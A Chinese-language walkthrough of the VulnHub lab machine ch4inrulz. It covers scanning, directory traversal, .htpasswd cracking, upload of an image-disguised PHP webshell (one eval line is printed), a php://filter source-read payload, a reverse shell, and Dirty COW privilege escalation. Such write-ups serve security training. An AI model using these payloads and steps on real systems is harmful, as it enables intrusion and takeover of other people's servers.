ch4inrulz是vulnhub的一款靶机,可以从此处下载:https://www.vulnhub.com/entry/ch4inrulz-101,247/。下载文件尾ova格式,用VM或者Vittualbox直接导入即可。需要注意的是,在打开靶机之前,需要把网络设置为桥接或者NAT。打开靶机后,我们的靶机的各个服务就已经开启了,不需要再对靶机进行登录操作,所以不用再百度登录密码什么的了。
0x01 环境说明
靶机环境ch4inrulz: 192.168.1.105
攻击机kali: 192.168.1.104
0x02 信息收集
用nmap扫描整个网段,发现靶机ip。nmap -sn 192.168.1.0/24
这里的靶机ip为192.168.1.105,针对这个ip进行进一步的扫描,获取端口开放情况和服务状态。nmap -sS -A 192.168.1.105
由扫描结果可知,靶机开启了ftp21端口,ssh22端口,web80端口,web8011端口。
ftp允许匿名登录,登录查看没有什么有价值的信息。
0x03 目录扫描
我们先访问web服务,这看起来像个人网站,只有一个页面。
没发现什么有价值的东西,扫一下目录。dirb http://192.168.1.105
挨个访问目录,没有什么特别的。需要注意的是,在实际渗透中,很多网站都对ip访问次数和频率做出了严格限制,一扫目录IP被ban,这就只能借助IP池或者单线程慢悠悠的扫了。
访问development目录,需要登录,随意测试了一下,不存在弱口令,先记下。
80端口的web服务就没有其它有用的信息了,访问8011端口。
什么也没有,目录扫描。
发现4个API接口,挨个访问,只有files_api.php存在,其它都显示404。
这里用file参数测试了一下,被拦截。
换用post方式提交数据,存在目录遍历漏洞。
然后综合我们已经收集到的信息,最有可能的突破点就是401登录认证,查看服务器配置apache,apache实现401认证关键文件为.htpasswd和.htaccess,.htaccess文件必须放在需要保护的文件目录下,而.htpasswd可以放置于任何位置,其位置会在.htaccess文件中指明。这里我们随意尝试,/etc/目录下找到.htpasswd文件。
(其实在对80端口进行目录扫描的时候,可以扫到index.html.bak文件,其中包含密码。但是dirb没有扫到,用御剑是可以扫到的,所以在进行目录扫描的时候不妨多用几种扫描器)
(还有一种思路,网站显示在开发中,那么就很有可能存在备份文件)
0x04 密码破解
这里我们使用John进行爆破,John用法:john <filename>
frank:frank!!!
输入用户名密码尝试登陆
0x05 文件上传
访问uploader,发现是一个文件上传界面,从”安全性完成50%”猜测可能存在文件上传漏洞。
任意上传一个jpg文件,显示结果如下
而上传php文件不成功
即使修改了content-type并且在文件头GIF98依旧上传不了PHP,配合刚才的文件包含漏洞,尝试上传图片马,上传成功。
虽然上传成功了,但是我们并不知道文件存储路径,尝试是否能包含upload.php,使用PHP伪协议
php://filter/convert.base64-encode/resource=xxx
尝试了几次,成功读取文件
base64解密
从中我们可以得到上传路径/FRANKuploads/
(其实可以先用文件包含漏洞将源码暴露出来,代码审计后上传文件)
既然是图片马,直接尝试PHP反向连接马,kali在/usr/share/webshells/php/php-reverse-shell.php
,上传
包含图片马并监听7777端口
成功得到shell,用Python切换shell(应该是为了更美观方便)
python -c 'import pty;pty.spawn("/bin/bash")'
除了上传PHP反向连接图片马,一句话图片马也可以,配置如下:
<?php @eval($_POST[value]);?>
0x06 提权
uname -a
查看linux内核版本
使用脏牛(CVE-2016-5195)提权
Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
低权限用户利用该漏洞可以在众多Linux系统上实现本地提权
将提权脚本下载到本机,再通过http服务供靶机下载,注意只有在tmp目录下才有下载权限。编译运行,即可以通过ssh:firefart@toor连接靶机,root权限。
ssh连接,提权成功
当然也可以使用该exp进行提权